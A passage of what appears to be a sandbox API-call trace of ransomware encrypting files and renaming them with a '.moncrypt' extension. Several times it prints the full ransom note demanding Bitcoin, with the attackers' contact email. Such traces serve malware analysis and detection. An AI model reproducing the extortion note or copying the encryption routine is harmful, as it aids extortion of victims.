(pMem=0x551178) returned 0x44000c [0042.785] GlobalUnlock (hMem=0x44000c) returned 0 [0042.785] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0042.785] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0042.785] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0042.785] SetFilePointer (in: hFile=0x188, lDistanceToMove=712592, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0xadf90 [0042.786] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0042.787] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0042.787] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0042.799] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0042.799] CloseHandle (hObject=0x188) returned 1 [0042.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.811] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0042.811] CloseHandle (hObject=0x188) returned 1 [0042.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.moncrypt", dwFileAttributes=0x20) returned 1 [0042.811] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0042.812] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.812] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.812] GlobalUnlock (hMem=0x44000c) returned 0 [0042.812] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.812] GlobalLock (hMem=0x440004) returned 0x553188 [0042.812] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.812] GlobalUnlock (hMem=0x44000c) returned 0 [0042.812] GlobalHandle (pMem=0x553188) returned 0x440004 [0042.812] GlobalUnlock (hMem=0x440004) returned 0 [0042.812] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0042.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0042.812] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0042.812] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0042.812] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0042.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.812] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0042.813] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0042.813] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0042.813] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0042.813] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0042.813] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0042.813] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0042.813] CloseHandle (hObject=0x188) returned 1 [0042.813] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0042.813] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0042.813] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0042.813] GlobalLock (hMem=0x440004) returned 0x551178 [0042.813] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.813] GlobalUnlock (hMem=0x440004) returned 0 [0042.813] GlobalLock (hMem=0x440004) returned 0x551178 [0042.813] GlobalLock (hMem=0x44000c) returned 0x553188 [0042.813] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.813] GlobalUnlock (hMem=0x440004) returned 0 [0042.813] GlobalHandle (pMem=0x553188) returned 0x44000c [0042.813] GlobalUnlock (hMem=0x44000c) returned 0 [0042.813] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0042.814] CharLowerBuffW (in: lpsz="GIFIMP32.FLT", cchLength=0xc | out: lpsz="gifimp32.flt") returned 0xc [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0042.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpUsedDefaultChar=0x0) returned 67 [0042.814] CharLowerBuffW (in: lpsz=".FLT", cchLength=0x4 | out: lpsz=".flt") returned 0x4 [0042.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".flt", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fltShared\\GRPHFLT\\GIFIMP32.FLT", lpUsedDefaultChar=0x0) returned 4 [0042.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 0x54e200 [0042.815] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0042.815] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0042.815] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0042.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", dwFileAttributes=0x20) returned 1 [0042.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0042.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.moncrypt")) returned 1 [0042.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0042.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0042.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x4e380 [0042.817] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0042.817] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0042.823] GlobalLock (hMem=0x44000c) returned 0x551178 [0042.823] GlobalLock (hMem=0x440004) returned 0x557188 [0042.823] GlobalHandle (pMem=0x557188) returned 0x440004 [0042.823] GlobalUnlock (hMem=0x440004) returned 0 [0042.823] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0042.823] GlobalLock (hMem=0x440004) returned 0x557188 [0042.823] GlobalHandle (pMem=0x557188) returned 0x440004 [0042.823] GlobalUnlock (hMem=0x440004) returned 0 [0042.823] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0042.823] GlobalLock (hMem=0x440004) returned 0x557188 [0042.823] GlobalHandle (pMem=0x551178) returned 0x44000c [0042.823] GlobalUnlock (hMem=0x44000c) returned 0 [0042.824] GlobalHandle (pMem=0x557188) returned 0x440004 [0042.824] GlobalUnlock (hMem=0x440004) returned 0 [0042.824] GlobalLock (hMem=0x440004) returned 0x551178 [0042.824] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.824] GlobalUnlock (hMem=0x440004) returned 0 [0042.824] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0042.824] GlobalLock (hMem=0x440004) returned 0x551178 [0042.824] GlobalHandle (pMem=0x551178) returned 0x440004 [0042.824] GlobalUnlock (hMem=0x440004) returned 0 [0042.824] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0042.824] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0042.824] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0042.824] SetFilePointer (in: hFile=0x188, lDistanceToMove=320384, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x4e380 [0042.824] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0043.131] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0043.131] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0043.143] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0043.143] CloseHandle (hObject=0x188) returned 1 [0043.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0043.148] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0043.148] CloseHandle (hObject=0x188) returned 1 [0043.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.moncrypt", dwFileAttributes=0x20) returned 1 [0043.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0043.148] GlobalLock (hMem=0x440004) returned 0x551178 [0043.148] GlobalHandle (pMem=0x551178) returned 0x440004 [0043.148] GlobalUnlock (hMem=0x440004) returned 0 [0043.149] GlobalLock (hMem=0x440004) returned 0x551178 [0043.149] GlobalLock (hMem=0x44000c) returned 0x553188 [0043.149] GlobalHandle (pMem=0x551178) returned 0x440004 [0043.149] GlobalUnlock (hMem=0x440004) returned 0 [0043.149] GlobalHandle (pMem=0x553188) returned 0x44000c [0043.149] GlobalUnlock (hMem=0x44000c) returned 0 [0043.149] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0043.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0043.149] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0043.149] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0043.149] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0043.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0043.149] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0043.149] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0043.149] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0043.149] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0043.149] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0043.150] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0043.150] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0043.150] CloseHandle (hObject=0x188) returned 1 [0043.150] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0043.150] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0043.150] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0043.150] GlobalLock (hMem=0x44000c) returned 0x551178 [0043.150] GlobalHandle (pMem=0x551178) returned 0x44000c [0043.150] GlobalUnlock (hMem=0x44000c) returned 0 [0043.150] GlobalLock (hMem=0x44000c) returned 0x551178 [0043.150] GlobalLock (hMem=0x440004) returned 0x553188 [0043.150] GlobalHandle (pMem=0x551178) returned 0x44000c [0043.150] GlobalUnlock (hMem=0x44000c) returned 0 [0043.150] GlobalHandle (pMem=0x553188) returned 0x440004 [0043.150] GlobalUnlock (hMem=0x440004) returned 0 [0043.150] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, 